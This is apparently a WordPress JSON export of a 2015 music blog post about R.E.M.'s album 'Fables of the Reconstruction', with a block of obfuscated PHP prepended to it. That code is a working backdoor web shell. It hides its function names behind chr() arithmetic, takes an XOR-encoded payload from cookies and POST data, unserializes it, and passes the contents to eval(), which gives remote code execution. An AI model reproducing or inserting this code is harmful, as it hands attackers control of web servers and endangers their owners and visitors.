$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":2300,"date":"2015-06-10T12:37:52","date_gmt":"2015-06-10T16:37:52","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=2300"},"modified":"2015-06-10T12:12:19","modified_gmt":"2015-06-10T16:12:19","slug":"a-fable-worth-re-telling","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=2300","title":{"rendered":"A Fable Worth Re-Telling"},"content":{"rendered":"

Thirty years ago, R.E.M. released\u00a0Fables of the Reconstruction<\/em>. The album has taken almost mythic qualities among the band\u2019s canon over time, mainly because no discussion can avoid the problems the band had during the recording process.<\/p>\n

In short, they were stuck in England where the weather was horrible and producer Joe Boyd pushed them in ways that they had never been pushed before. While\u00a0the band has often talked about the difficult time they had making the album, it may have been the most important point of their career. The songs on Fables are either classics or underappreciated gems. After the album and subsequent tour, the band took a different tack and recorded their next album in Indiana with Don Gehman.<\/p>\n

That produced Life\u2019s Rich Pageant,\u00a0<\/em>my pick for their best-ever work, and they never looked back.<\/p>\n

But we\u2019re here to talk about\u00a0Fables<\/em>, which starts with\u00a0\u201cFeeling Gravity\u2019s Pull,\u201d a song which lets you know that it may not be an easy road ahead. That turns into \u201cMaps and Legends,\u201d which turns into the iconic \u201cDrive 8,\u201d\u00a0making you understand that the guys that threw together\u00a0Reckoning<\/em> in just a few weeks had grown up into something special.<\/p>\n

Fables<\/em> has layers upon layers of greatness, the coyness of \u201cGreen Grown the Rushes\u201d mixed with the haunting images from \u201cWendell Gee\u201d and the bouncy goofiness of \u201cCan\u2019t Get There From Here.\u201d<\/p>\n

But the song that follows \u201cDriver 8\u201d on the first side of the record is the one that always stays with me. \u201cLife and How to Live It\u201d represents the greatness that R.E.M. started to achieve for many reasons.<\/p>\n